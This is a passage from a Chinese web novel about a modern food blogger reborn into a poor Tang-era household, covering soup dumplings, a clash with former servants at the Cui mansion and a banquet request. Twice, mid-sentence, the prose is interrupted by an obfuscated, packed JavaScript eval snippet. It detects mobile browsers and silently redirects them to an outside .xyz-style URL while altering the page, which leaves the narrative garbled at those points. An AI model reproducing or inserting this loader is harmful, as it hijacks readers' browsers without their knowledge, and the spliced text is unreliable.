坊间的路都是泥土路,童白虽摔坐在地上,但沾地那一瞬她用了巧劲,二郎用力扶她,她也顺着这个力道起了身,左右活动了下身躯,没感觉到摔伤或扭伤。 “无妨,我也无大碍。”童白摆手,朝这边行了一礼后,便拉着还想要说着什么的二郎往坊西的水井处而去。 双方错身而过时,童白闻嗅到了淡淡的酒味,惹得童白回头看了眼对方的背影,那方向,是双梧巷的方向。 等童家的大水瓮都装满了时,开坊的鼓声敲响,面团也发酵好了。 洒上麦粉,揉搓排气……所有步骤都跟之前一样。唯一不同的是放馅料的时候,馅料里多加了一份切的大小合适的皮冻,这也是蒸熟后出汤汁的秘诀。 昨日跟白氏摊牌后,童白就像撕开了迷雾,前路似乎都明朗了不少。 只要白氏不再拖后腿,只要她可以用原主家人的人脉,美食也不止只会带来卖身的灾难。 想通了的童白也有心情处理猪皮了。 猪皮切成一指宽,冷水放入瓮中。家里没有料酒,她便放了花椒和白芷去腥,煮了两刻钟,关火,将猪皮捞出来。 用菜刀一点点的将猪皮内侧的白色油脂刮掉。 这是个极其考验耐心、重复且机械化的工作。 不过,童白却认真对待。 作为美食博主,对厨艺基本功这块的要求并不严格,有些是科班出身,有些走的是非科班、小白会做系列。 童白介于两者之间,她有着尝一口就能试出调味、原材料的本事,也喜好专研这些,但像红案白案的基本功,却一般。 好在现在做的菜肴对基本功的要求不算高。 刮去油脂的猪皮用温水清洗干净后,切成细丝,加了一勺研碎的食盐和小半勺的碱面,反复抓洗两到三遍,做这个步骤的时候,二郎想要帮忙,却被童白制止了。 二郎手上长了不少冻疮和裂痕,这一道工序看着简单,手上却不能有伤口。 童白深知带伤抓食盐和碱面的痛感,那是她不愿回忆的过去,自己痛过,她舍不得二郎经历。 等水投洗到清澈时,童白将猪皮丝放入陶瓮,按照猪皮比例添加五倍的水进去,又放入生姜、葱段、盐和用细纱布包裹住的香料包。 猪皮冻口味调配的好不好,全靠去油脂干净与否以及香料包的配置比例。 大火烧开,小火慢炖,要想熬制出汤汁浓稠、猪皮极其软烂,这个步骤就不能怕浪费木柴。 一个时辰后,这猪皮也熬制好了。 童白将猪皮和配料都过滤出来,汤被她用瓦盆盛放着,放到了家里唯一一个可以上锁的碗橱里——防老鼠偷吃! 这次熬制的猪皮冻,虽然缺少香料,但她尝过味,汤汁浓郁,味道有些许欠缺,并不差。 若是放在包子里面,搭配上白菜鲜肉包本身的食材香味,童白想都不敢想,那滋味会有多美好。 这灌汤包,她定要在那延寿坊那“卖”得个好价钱。 虽暂时唬住了那斜眼坊吏,但马脸妇人记恨,坊吏贪婪,必不会轻易放过自家。 而她,既然占据了原主的身子,替她活下去,护住她的弟妹,也是一种活法。 所以,她必须找靠山寻出路! 26. 灌汤包 天光大亮,通知开坊门的鼓声已敲过三轮。 院子里传来白氏给四郎把尿的动静,童白想了想,叮嘱二郎看着火,她去了主屋,不出意外,三娘正怔怔地在床上保持着弓着腰窝着腹部的姿势。 童白抱着三娘来到墙角的尿壶处,好在并未尿在身上,又抱着三娘去了灶屋,正好遇到抱着四郎进来的白氏。 很快,童家人都在灶屋聚集了。 白氏现在的身体状况已然可以下床和做一些简单的事情了。 至于说为何之前白氏病的眼见着就要挺不过去了,但,现在看着快痊愈这一点让童白很疑惑,但有些事情,不该问就别问。 问了,也不一定有结果。 童白快速的将余下的包子都包好,这一次的灌汤包因为目前没在市面上瞧见,所以童白并没有如同上回一般做了送给卢婶子他们这些邻里。 拿出家里用来制饼的鏊子拿出来,这是童白能想到的可以用作炒制猪皮的最佳炊具。 烧热的鏊子上淋上清油,待得油温上来后,放入花椒、葱姜末煸炒出香气,加入猪皮丝,快速用竹筷和木勺翻炒,让每一根猪皮丝都能均匀地裹上调料…… 不得不说,童白这般烹饪猪皮的做法,童家人看来,实属开眼界! 炙热的铁鏊与食材碰撞的“吱吱”声,翻炒时扩散在空气中的焦香味,恰如其分的动作,色香味的三重冲击,引得童家人忍不住发出赞叹之声,恨不得多吸几口香气以慰腹中馋虫。 童白边炒制边留意观察着童家人的反应。 很好,就连牙都没长齐的四郎都被吸引住了,嘴里咿呀咿呀的,指着灶直流口水。 抱着四郎的白氏赶忙拿出布巾轻轻拭去。 炒好后,童白将猪皮分成了四份,其中一份用絮布裹的十分严实,放入竹篮。 看着分出的几份,童白心下微疼,这都是钱粮啊。但想到斜眼坊吏的贪婪、马脸妇人的阴毒,还有日后酸菜买卖可能需要的帮衬…… 她咬咬牙,邻里关系必须维系,这份礼不能省。 “阿娘,这份给卢婶子送去;这一份,三娘随我一同去送给刘婶子;二郎,胡叔家最远,竹篮里的给胡叔。送过去时,跟他们说热吃好吃。若是冷了也没关系,隔水蒸制加热即可。”说完,家里几个人都行动起来。 这时候天光已然大亮,等家里人再次回到童家,除了二郎外,童白和白氏手上都拿着对方的回礼。 邻里之间,关系越走越亲。 再次回到灶屋,将灶膛的火用木质风箱吹燃,开始蒸制包子。 “稍等一会儿,咱们就吃早膳,”等待的间隙,她开始检查她们的回礼,刘婶子的是自家做的四个四郎拳头大小的菜馒头,卢婶子回了五块胡饼,都不算轻,“这些咱们晚膳吃,早膳吃阿姊做的灌汤包和烧猪皮。” 听到这话,三娘欢呼出声,二郎也露出大大的笑脸。 童白知道为何俩人会有如此反应,不难理解,好东西都送出去送礼了,自家留下的反倒是不怎么好的。 爷奶便是这种思想,但童白不是,起码在可以多做一点让家里人都能尝上味的时候,她却是愿意宠自家人的。 灌汤包出锅时,童家人又不约而同地为美食献出了最高礼仪——大家围拢在童白身后,目光都聚焦在蒸笼上。 随着童白掀开蒸屉,雾腾腾的热空气慢慢散去,包子在蒸笼里显出真容来。 薄如蝉翼的面皮包裹着丰腴的馅料,在蒸笼的热气中微微颤动,隐约透出里面琥珀色的汤汁,仿佛一碰就要化开。 这一刻,此起彼伏的吞咽声响起。 童白用筷子快速的夹起来放在各自的碗中,童家当初搬来这里时,家里的物什很多是童爹买回来的,加上这些碗筷锅碗在寄附铺卖不出价格,躲过了原主卖掉的风险。 “这个里面有汤汁,你们吃之前要吹凉一点,不然……”童白的话音还没落下,就听到二郎的惊呼声。 “嘶,烫,嘶,好吃~”二郎张开嘴,用双手扇风。 “二郎,快吐出来!”白氏大惊,白氏放下碗,想要帮二郎,却因为自己还抱着四郎,根本顾不过来。 可二郎宁可边跑边往嘴里扇风,也不愿吐出来嘴里的食物。 三娘被他这动静吓到,瞪圆眼睛,将准备咬下去的嘴改成给碗中的食物吹风。 童白停下手上的动作,将碗放到二郎嘴边,厉声命令道:“吐出来,包子还有,烫坏嘴了就吃不了更好吃的……”话还没说完,百般不愿的二郎顺从的按照童白说的操作。 白氏见到这一幕,心下涌上一阵酸涩。 童白拉着二郎去到院子里,仔细瞧嘴里有没有被烫伤,好在,这灌汤包她是散了会儿热才装碗里的。 只是红了,没烫出泡。 反应这么大,估计是孩子嘴嫩的缘故。 有了这么个小插曲,再吃的时候,大家都有了经验,童白吹了会儿,直接咬破面皮,鲜烫的汤汁涌入口中,混合着白菜和肉香,好吃的恨不得吞了舌头的感觉。 而且不止面皮里的汤汁浓郁鲜香,就连肉馅也是一口一爆汁。 “真好吃!”二郎眯着眼,慢慢咀嚼着嘴里的食物,嘴巴上油乎乎的,神情陶醉。 看着孩子们满足的样子,白氏眼神柔和下来,学着童白的样子小心吹凉包子,咬开面皮吸掉汤汁后,又慌忙咬了一大口肉。 面皮薄透,肉馅松软汁水丰润,白氏眼睛一亮,又吃了一口,嘴巴咀嚼着,品味着…… 忽然,什么东西朝她嘴过来,白氏下意识地侧开脸,才看清,是四郎的手,这才想起来,只顾着自己吃了,忘记给四郎吃了,心急的四郎索性自己上手来了。 白氏脸上浮现红晕,也顾不上那么多,掰了块肉馅快速放入四郎嘴中,这场四郎引发的抢食大战,才算落下帷幕。 吃到肉味的四郎眼睛就没离开过装着吃食的碗。 瞧见这一幕的童白不由垂头掩去笑意,嗯,白氏现在这般,挺好! * 童白蒸制好灌汤包,装好,领着二郎一同去往延寿坊。 越靠近延寿坊,二郎可见的越发拘谨。 童白瞧了眼俩人身上的麻衣,安抚道:“等阿姊赚了银钱,咱们就做新衣。”原本她并不是个喜欢说在做前面的性子,但面对懂事乖巧的二郎时,有些话,她忍不住提前说出来。 也不知道白氏是怎么教的,二郎的乖巧懂事,三娘的天真懵懂,四郎,四郎现在还小,看不出性格来…… “嗯,”二郎低垂着头,闷闷道:“我帮阿姊一起赚银钱。” 童白听到这话只觉孩子懂事,心里软绵绵的,忍不住摸了一把二郎的发顶,实在是二郎的身高正好在她腰的位置,十分顺手。 二郎浑身一僵,脸颊飞快发热, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张勇一听有吃食,想着已经好几日没正儿八经吃点饭食的主子,蒲扇般的大手朝童白伸过去。 丝毫不客气。 童白一愣,倒是没想到对方这般不见外,但是反正带来也是送人的,对方的欢喜也不像作假,她忙不迭递过去。 接下竹篮,张勇感受到里面还是温热的,“这是才做好的?”岂不是不用加热就可以吃? 童白点头,“也就我们走过来的这点功夫,小一刻钟。”她现在才出了崇延坊北门没多远。 张勇这会儿可没心思听她说话,只想赶快将吃食送给主子,“这样,我着急回崔府,你一会儿去到崔府某口,跟门房报我的名字,可好?” 这两日主子连轴转地处理了好几件事,吃不饱睡不够。 若不是童小娘子过来,他都想直接上门请童小娘子做一做上回送来的蒸饼了。毕竟,挑嘴的主子上回可是吃完了童小娘子做的蒸饼。 童白瞧了眼周遭来往的路人,点了点头。的确,这里话语不方便。 姐弟俩目送着马车渐行渐远。 眼看崔府朱漆大门已在望,一声阴阳怪气的嗤笑从崔府侧边斜角巷里传来。 “哟……我当是谁穿身麻布在路上晃荡,原来是脱了籍的白霜娘那一双儿女啊!”话语中满满的恶意一点都不加隐藏。 27. 来者不善 童白和二郎不约而同朝声音处看去,瞧清楚不远处那几个人影,二郎小小的身躯不由一颤。童白眼角余光捕捉到这一幕,她将手放上了二郎的肩膀,似是给了二郎注入了勇气。二郎仰头看向童白,童白低头看向二郎,朝他露出安抚的笑容。 等童白再朝来人看去时,那几个人已然挪动到了距离她们姐弟两米之内。 童白努力回忆原主记忆,将面前那来者不善的几人与童家的过往全调取了出来…… 为首的玉娘,同白氏一样在崔府绣房当值。 白氏的刺绣手艺在绣房里数一数二,深得绣房管事的喜欢,家里主子特别是老夫人的衣裳物件,但凡涉及到刺绣的,大多是白氏做。 玉娘的爹娘是崔将军夫人的陪房,她们一家子深得夫人的看重。玉娘去绣房便是夫人安排,想要玉娘坐稳绣房第一人,哪知却被白霜娘给搅和了。 玉娘没少跟白氏较劲,最开始比谁的技艺好,到后来,利用家里在府中的关系,散播白氏想要爬床主子的谣言,直到白氏嫁给了童爹,这谣言才不攻自破…… “还真没看错,不过,”玉娘的眼神如同打量外面的猪肉的眼神,对着童家姐弟上下左右扫视一遍,“你们这脱籍出府后混的不怎么样,”玉娘用布巾挡住鼻尖,不怀好意道:“白霜娘不是将你当‘小姐’一般养大的,怎么,现如今,日子过不下去了,就让你们上门来……”瞧了眼不远处的崔府大门,“来旧主家乞讨了吗?” 这话一出,她身后的几人都笑出声来,笑声中的不怀好意和嘲讽,哪怕是小小的二郎都听出来了,他脸色一僵,下意识地抓住了身旁阿姊的衣角,却被那粗糙的手感给弄得手指发痒,内心发涩。 玉娘轻蔑地瞧了眼童白姐弟俩,“难道白霜娘没有教你们礼节?就算是主家也没惦记着你们能送来的三瓜两枣,那也不能什么都不带就上门来呀……” “这穷酸样儿,估计家里也拿不出什么好东西来了。”玉娘身后一位身着姜褐色高领襦裙,左嘴角有颗黑痣的妇人出声道。 想着阿姊拎着的竹篮,二郎张嘴就想反驳,没有,才没有!衣袖下的手紧紧握住! 童白将二郎揽在身侧,手在他背上轻抚安慰。 对于这些人,没必要解释这些! “怎么?是你们阿娘后悔了?”另一位身着深青色斗篷的妇人漫不经心问道。 童白杏眼微抬,目光直接朝这位妇人看去,很快又垂下眼帘,她说是谁呢,原来是一直跟童爹不对付的部曲孙迁的娘子李氏,真没想到,玉娘跟李氏什么时候搅合到一起去了。 童白心下冷哼,她倒是不怕跟这几位对骂,但…… 余光扫向不多远的崔府大门处,朱红色的大门紧闭着,阳光撒在黑瓦青砖墙上,肃穆中又带上了几分巍峨和高不可攀的冰冷感。 玉娘瞧见了童白的眼神,还以为她这是想要去崔府搬救兵,撇了撇嘴。 真是年纪小人单纯,自他们一家子脱籍出府后,就跟崔府没半点关系。 童白不清楚玉娘心中所想,但她在权衡。 打狗还要看主人,她的唇舌反击未必真能伤得了对方,但稍加运作,却是能让玉娘她们作出名堂来。 可是,她们这一幅来者不善的模样,她不反击难道就能避过去的吗? 童白脑中思绪不断涌现又被她否决,还真是难以抉择。 “没想到童小娘子脱籍出府后不仅穿着寒酸、不懂礼节,还成哑巴了。”眼前这三位才不是你不说我就会简单揭过去的性格,她们只会趁机,将对方压入尘埃。 童白眉头轻蹙,这些人还真的是,占着是世家门阀的狗,不断叫嚣,根本不是自己不应答就能躲过去的。 二郎不由自主地躲到了童白身后,用手按住耳朵,这样就听不到这些恶言恶语了。 童白惯来护短,见二郎如此,一股邪火蹭地窜起,几乎要烧穿天灵盖。 卖卖卖,卖你全家啊卖! 童白忽然福身,声音清亮:“玉娘子怕是忘了,去年老夫人寿宴,您绣错了凤凰尾羽,还是我阿娘连夜拆了重绣。论手艺,奴虽不及阿娘,却也知……”她瞥了眼玉娘的锦绣裙,“绫罗绸缎裹着,未必藏得住内里的草包。” 原主记忆里,童爹当初自卖自身给崔家是有苦难言之下、不得不的选择。脱籍出府,也是因为立了大功之后,顺势而为的决定。 玉娘脸色煞白,竟被堵得说不出话。她身后的几名妇人也没想到往日半天说不出一句话来的童家小娘子竟变的如此牙尖嘴利。 一时间,突然安静下来。 直到一道爽朗的男声响起:“童小娘子,原来你在这儿耽搁了。十九爷那边还等着呢,快随我进去吧。”说话的是给童家送去饷银的军士张勇。 童白也是余光扫到了他的身影,才选择发难的。 见到是他,玉娘为首的几名妇人,立马收起了身上的嚣张气焰。 来人本是府上的部曲,前段时间专门传崔将军的信件回来了长安,据说虽然被家主派给了旁系的崔十九爷,但还是住在府中前院偏院,在主家面前也是说得上话的人物,更是她们不能得罪的。 童白扯了下呆愣的二郎,恭敬行礼:“奴遇到阿娘在府上认识之人,耽误了点时间,还请见谅!”至于说明着告状这件事,跟张勇军士的关系没到这份上,暂时不合适。 张勇视线往站在一旁几名妇人身上梭巡一遍后,缓缓道:“童小娘子请随某来。” 姐弟俩跟在张勇军士身后从崔府大门东角门进了府。 他们离去后,玉娘几人才抬起头来,玉娘看向东角门处,眼中的不甘转为了深思。 身旁几名妇人对视一眼,黑痣妇人在深青色斗篷的眼色示意中讷讷说道:“也不知道这白霜娘是走了什么门路,才跟这张勇军士搭上的关系。” 这位张勇军士前段时日被将军派回长安专程给府上老夫人送生辰贺礼,在后院诸位夫人面前露了脸,大家知道他是家主的心腹,便安排身边得用的嬷嬷开始寻摸着给这位军士说亲。 谁知,大家人选尚未选好,却听说张勇军士被将军派给了长兴坊崔家家的庶出十九爷为属下。 这长兴坊的崔家是旁系,当家人崔望山,在十七年前宠妾灭妻,将宠妾秦氏升为夫人,而原本家里明媒正娶的夫人徐氏被降为妾室, 徐氏娘家是平康坊的徐御史家,娘家在徐氏嫁去长兴坊崔家的第二年被朝廷大案牵连,全家判处流放岭南。徐家倒了,当时徐氏膝下的崔十九郎只有一岁,徐氏抱着崔十九郎求到了老夫人面前。 老夫人跟徐氏的母亲交好,延寿坊崔家又是长兴坊崔家的嫡系,崔望山看在老夫人的面上,这么些年哪怕行事再没有章法,却是没动手害了徐氏和崔十九郎的性命。 崔十九郎在延寿坊崔家有个小院子,他时常来这边住,直到现在。 将军这次将张勇军士给了崔十九郎,让府里不少正经郎君又是羡慕又是嫉妒。 玉娘眯了眯眼,抿了抿唇道:“行了,咱们走吧。” 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黄花梨木的八仙桌椅摆在房间中心靠外位置,桌面上放着一套汝窑白瓷茶具,靠里的位置摆放着个黄花梨罗汉榻以及个落地双面绣屏风,地上铺着长毛针织地毯,看材质应是草原长毛羊的羊毛,衬得黄花梨长脚踏都显得多了几分异国风情。 这里可真是贵气! 可见原主记忆中那崔十九郎深得老夫人的宠爱的传闻一点也没错。 主人未到,姐弟俩守礼地站在才进门没多远的下首位置,半垂着头等着主人家的出现。 童白飞快地瞧了眼背脊挺得笔直的二郎,心想这崔府的奴仆培养可真厉害。二郎这么小,一踏进崔府的门庭,便自然而然地带入进了角色。 一举一动都将服从和规矩刻在了骨子里。 可怕,真是可怕! 好在我华夏儿女,宁可洒热血抛头颅也不愿成为奴从! 就差来一段义勇军进行曲坚定内心时,童白耳朵一动,听到了门外传来的脚步声,也顾不上吐槽二郎,微曲着膝盖行礼。 “童小娘子、童二郎君无需如此客气,”崔十九郎温润的声音响起,身批深青色斗篷的他,站定在童家姐弟面前,嘴角噙着淡淡笑意,双手向前微微一抬,“快快免礼!” “谢十九爷,礼不可废。”童白垂着头,站直身躯的同时还不忘拉了二郎不把,姐弟俩侧着身,微微抬头。 崔十九郎坐在了八仙桌的主位之上,往童白姐弟俩那边看去,指着面前下首位置道:“来吧,坐下说话。” 童白觉得,不管童家之前在崔家是做什么的,都不妨碍她现在是个良民,无需像下人奴婢一般候在一旁,便顺着崔十九郎的话语,大咧咧地坐在了下首处。 童二郎:真的可以这样坐下来吗? 瞧了眼一旁的阿姊,他心中这点疑问打消了,往日在府上最为讲究规矩的阿姊都坐下了,所以这样应是不失礼。 崔十九郎却是没想到自己的话语这般…… 好用! 他视线往桌上的瓷白茶具上一扫,静候在一旁的张勇忙上前帮着倒水。 童二郎见状,手不由握紧了衣袖,这种事,他和阿姊不做就这么看着张军士做,合适吗? 他偷瞧身边的阿姊…… 崔十九郎看向童白,“童小娘子的手艺也不知是跟府上哪位大厨学的?那带着汤汁的蒸饼别有一番风味。”眼神温和却带着一丝不易察觉的审视。 童白垂下的眼帘中精光一闪而过,来了来了,总算步入正题。 28. 崔十九爷的宴席邀请 童白抬起眼帘,朝上首位置的十九爷飞快瞧了一眼。 十九爷五官立体,皮肤略显白皙,眉眼舒朗,眼尾微微上扬,鼻梁高挺、上唇薄下唇厚,竟有点后世流行的嘟嘟唇的模样。 童白垂下眼帘,脑中快速将话语过了一遍,缓缓道:“奴这些并不是学自府上大厨,只是一些上不得台面的巧思罢了,”庖厨这一道,有些是靠勤奋苦学,有些是靠天赋,上一世的童白是后者,这一世的她,只想低调,“算不上什么庖厨技艺。” 这便是她截止目前只做一些小吃食而不是美食的缘故。 原主的人设,不能崩。 纵使她脑中有无数的美食佳肴制作方法,也有一尝味道就能知晓其美食配料的金手指,但她却不敢在世人面前暴露出来。 自身实力不足以保护自己的人身安全之前,一味地想要以制作美食赚取银钱,并不明智。 崔十九郎放下茶盏,拇指和食指不由摩挲了一下,目光清润地看向童白,“哦?”少年声音清朗,“童小娘子无需拘谨,更无需担心某会觊觎你这庖厨之技。” 虽然适才吃的蒸饼滋味和口感让他惊艳。 咬破面皮时滚烫汤汁在舌尖蔓延,肉香滑嫩,但却没有惊艳到让他没品的去觊觎一个将士家眷的手艺。 修长的手指敲击着桌上,‘叩叩叩’地如同心跳的节奏,有几分让人不自觉放松心弦的魅惑,更为这言语增添了几分可信度,“某冒昧询问只因某……”抿了抿唇,“某有个不情之请罢了。” 不情之请? 童白抬起眼帘,看向十九爷,眼神中的好奇丝毫未掩饰。 崔十九郎嘴唇微启,“上回某在谢家尝过小娘子做的蜜渍金齑,酸甜适口;炙烤羊肉,焦香且鲜嫩多汁,蘸料新颖却不喧宾夺主;清脆越瓜口感脆嫩,搭配羊肉既解腻又促发胃口……” 童白明白了,原来十九爷是位隐藏的老饕,瞧瞧这一段段的话语,语言简练却字字点出每道美食的亮光之处,所以十九爷是想要自己给他做好吃的? 这有什么不好意思提的? 难道是想白嫖! 被对方颜值冲击到的童白,一时之间,心中竟然生出:看对方这么好看的份上,不要制作费的做一次美食倒也不是不可以的念头。 不对,这个想法要不得,童白甩头将脑中‘危险’的想法甩出。 她现在可不是有车有房,存款一串零的美食博主童白,她身穿麻衣、吃不好睡不暖,哪有资格说免费! 崔十九郎眉头紧蹙,这童小娘子突然甩头是何用意? 不同意吗?可他什么都还没说。 眼眸一转,看向立在一旁的张勇。 张勇在十九爷眼神的威压之下,轻咳一声,“童小娘子可是有什么难言之隐吗?” 拒绝? 如若是他处于童家的境地,他只会答应。 张勇想了想自己从将军那回来长安前兵营里的情况,一时间都不知道该如何劝童白。 童白根本没意识到甩头已然具象化,她用一种原来你只是面上光的眼神看向崔十九郎,“奴,奴谢过十九爷的赞赏,可……”奴家家贫,没办法免费招待你啊! 作为一个在后世社会混迹多年的人,她怎么可能这么直白的说出这种话来呢。 童白灵机一动,“若是十九爷想要吃奴做的食物,可准备好食材让奴上门制作,”瞧瞧她这聪明的脑袋,看在对面是美人的份上,上门费她可以不收,“只需要支付少量的手工费即可。” 不会谈价的美食博主不是好博主! 张勇眼瞳微微一怔,这童小娘子甩头是这意思?他不懂,他看向了十九爷。 崔十九郎:…… 童小娘子是以为他想要占便宜,白吃白拿? 难道是因为他这两次吃了她送来的吃食却从未给赏钱,才让她有了这个想法? 可是第一次是送给张勇的,第二次,也就是这一次,咳,他这不是在说正事,还没提到这个上面来! 不过,哪怕已经想了这么多,但是崔十九郎面上依然维持着清冷的模样。 “好!回头我让张勇提前跟小娘子商讨菜式以及需要准备的食材,童小娘子觉得如何?”崔十九郎又将自己的需求提出,“这场宴席,菜式可由小娘子定,但要有鸡鸭鱼羊,有炙烤、有甜点。” 童白克制着自己想要抬眼帘往主位上瞧的冲动,这位,是在出题考自己? 还是上位者的试探? “谢十九爷看重,但奴的水平难以独立制作宴席,”童白微微垂首,拒绝嘛,那是不能拒绝的,毕竟,自己还要抱上崔家的大腿,“至于宴席的菜式……” 唐朝的宴席,无论是权贵家的家宴还是在外的宴客席都规矩门道颇多,她作为一个奴仆,没有大厨言传身教,如何会制定菜单? 崔十九郎闻言,原本微垂的眼帘抬起,目光中带上了几分打量。 这童小娘子倒是自信。 也不知她为何觉得自己会将宴席交由她这么一个根本没有挑过大梁做过宴席之人负责? 难道就凭她能将百姓的吃食做出不一样的滋味来? 唔,其实人自信点也没什么不好。 “童小娘子无需担心,宴席的菜式我自有安排,请童小娘子参与,只是想要在中规中矩之外添加些,小变化。”崔十九郎坦然道,他不想着宴席上的菜式流于俗套,“当然,在正式宴客之前,咱们可以提前试菜。” 所以对方找自己,只是为了自己的巧思和创意。 童白双手握紧、行礼应下。 至于说童白原本想要来找张勇的目的,直到童白离开了崔府,都没提及一句。 不过,张勇送童白离开时,是从府东穿过府中从西侧角门出府。 一路上遇到不少府中奴仆,其中不乏认识童家姐弟的。 世家府上最不缺伶俐人,童家姐弟尚未回到崇延坊,十九爷会面脱籍出府的童校尉的一双儿女的消息就在延寿坊崔府传遍了。 出府后,一路上姐弟俩未多加言语,直奔崇延坊。 路过北坊门时,姐弟俩被胡坊吏叫住,去了一旁说话。 “你们怎么惹了那史坊吏的?”胡坊吏眉头的川字纹十分明显,他从战场退下来尚不足一年,一身的肃杀之气暗藏在眉眼之间。 童白却是知道这胡坊吏跟童爹关系匪浅,也没见外,将双方那点子摩擦都说了。 “为何不来找我?”胡坊吏的关注重点却不一样,想着带回家被家人夸赞的蒸饼,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054147|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪眼粗声道:“没钱不跟我说,还送蒸饼、猪皮丝来,这是跟我见外?” 童白可没被吓到,“胡叔,我们不是见外,只是那位坊吏大人上门查问之事发生的突然,当时只想着如何解决困境了。” 胡坊吏虽跟阿爹关系好,但因着才接了家人来长安,加上童爹不在家,他身为外男也不方便上门,白氏与其走得并不算近。 童白从原主记忆中找出这段关系来后,觉得可以多接触接触,这才送了一次吃食探路。 这话听到胡长春耳中便是孩子们被吓坏了,他说:“这事我知道了,你们且先回去,待我去了解下那边是怎么回事后,再来看怎么办。” 既然有人要帮忙,童白没拒绝,她身旁的二郎也没拒绝,甚至还朝胡坊吏拱手鞠了一躬,认真道:“小子,谢过胡叔了!”阿爹离家前,带他见过胡叔,所以比起家里阿姊和阿娘,他是跟胡长春最熟悉的。 瞧见不大的孩子做出大人的模样,胡长春嘴角咧开,“好了好了,你们先回去吧。”他今年而立之年了,媳妇这才怀上,前些年因为战乱耽误了,看着二郎这机灵模样,忍不住羡慕。 告别了胡长春,童白和二郎往双梧巷走去,在巷口看到了坐在院子里,却往院外张望的卢婶子。 卢婶子朝童白招了招手:“来,进来说话。” 童白和二郎走了进去,卢婶子拿出冬瓜糖来,吴家的条件别说在双梧巷,就说在崇延坊,也属于中等以上生活水平。 “童小娘子,你送来的那个黄金油渣蒸饼真好吃,我阿娘没几日便要过生辰了,我想请你做一百个,可行?”卢婶子直接将叫住童家姐弟的缘由说出来。 她娘家虽算不上什么高门大户,但因娘家兄弟在县衙做事,条件也不差。这次老娘生辰准备办家宴,她正在想送什么礼,即能显示出自家条件不错,又能跟往年不一样。 毕竟,她还想哄好了老娘,让她帮着自家大儿子好生寻摸个合适的娘子呢。 卢婶子这要求,童白自是不会不答应,“婶子哪日需要?”虽然没有提价格,但童白知道卢婶子绝对不会不给银钱,而自己也不可能会漫天要价,所以根本没提这茬。 “后日清晨,我去你家取可行?”卢婶子有些不好意思道,“婶子也知道这次要的有点急,本来我是想着去吉香居买些点心送回去,但尝了你做的蒸饼后,就……” “行!”童白心里算了算,自己做包子的手速,感觉可行。 “……”卢娘子正准备再努力一下,没成想从童白嘴里听来了肯定的回答,瞬间喜笑颜开,“婶子知道规矩,这次给你包的封红绝对不少,咱们何时去西市采买?需要买多少的食材?……婶子,也不是催你,就是……” 童白瞧见她这模样,噗呲一声笑出来,“明日吧,明晚我将馅料和面团准备好,等到后日一早便做蒸饼,这样婶子带过去那边,无论是午宴还是晚宴都吃着新鲜。” 说定了这个,卢娘子抓起盘子里的冬瓜糖给二郎塞了好几块,“二郎带些回去吃……” 二郎也没推辞,阿姐跟他说过,这些婶娘给他和三娘、四郎拿吃食,是喜欢他们,他们不需要拒绝,至于回礼,无需他们操心,阿姊来负责就好。 说完这些,童白和二郎往家走。 29. 什么都不如自己有 姐弟俩路过余家院门前,被正在院子里扫鸡屎的刘婶子喊住:“童小娘子,我才让我家四郎去你家送东西了,没想到你姐弟不在家啊。” 童白站在门口,随口回道,“谢过刘婶子了,我和二郎去了趟延寿坊,才回来。” 刘氏手中笤帚顿在鸡粪上,眼风扫过童白磨破的袖口:“咋是你俩去呢?上回还是你阿娘去的。”丝毫没在意这话语暴露出她对童家事情的好奇。 童白视线下移瞧了眼刘婶子拿着的竹扫帚,将眼眸中的不喜掩在了眼帘之下,轻声道:“阿娘有事。”眼角余光瞧见余家东面墙头桑枝无风自动,欲瞧清楚时,却见一抹灰布衣角缩回墙后。 “哦,这样啊。”刘婶子又随意闲扯了几句话。 童白看出了刘婶子拖延的意图,虽不明白缘由,但没感受到恶意,也就配合地闲聊几句。 直等到一名小郎君出了自家院门,刘婶子才客气道:“哎呀,瞧我,强拉着你们闲聊,你们也累了,快回去吧。” 童白微笑着点点头,领着不明所以的二郎,朝自家走去。与那少年擦肩时,熟悉的酒气混着稻糠味钻进鼻腔。 眼角余光朝旁看去,便知这人并不是早上运水时把自己撞倒的人,但他们身上的气味却很相似。 敲响院门时,不经意朝巷口看去,就见那刘婶子依然站在院门外,朝这边看,瞧见她转头,还挥了挥手。 童白朝那边点了点头,正好白氏打开院门,姐弟俩的身影消失在巷子里。 刘氏也回了家,才锁上院门,她便凑到儿子面前,小声问:“怎么样,银钱给了吗?问出她们要这糟粕是作何用了吗?”她虽说答应帮童小娘子买新鲜酒糟,也将糟粕晒干磨粉可以喂养鸡崽的之事说了,但多了解一点总归没坏处,这才趁着童白不在家的时候,让老四给童家送糟粕,顺带看看能不能问出个什么来。 几次接触下来,童家小娘子不像坊间传言般蠢笨,但白氏却不好说。 至于说为何叫老四去,自然是觉得老四随口一问,能问出东西来呗。 余老四摇头,“我在他家院子里瞧见摊在地上的萝卜和白菜,那糟粕,白婶子只用陶甑装好,并未说做什么用……”余老四一把抓住娘亲的胳膊,瞧了眼跟隔壁陈家相邻的院墙,进到屋内,才小声说:“怎么?阿娘是觉得那童家有何不妥?”想着糟粕自家用来做什么,追说一句,“那日后,咱们可以给他家的糟粕差一点。” 刘氏一巴掌拍在自家老四背上,气道:“你这脑子想什么呢,我这……”嘴巴抿了抿,“还不兴你家老娘好奇吗?至于说给差一点的糟粕,这事你想都不要想,她家再不济,背后还有那贵人。”这是没忘记童小娘子适才的话语。 见老四原本不大的眼睛里全是好奇,想了想,刘氏用下巴点了点靠东的位置,“这几日那边有人来我这打听了些童家的事。” 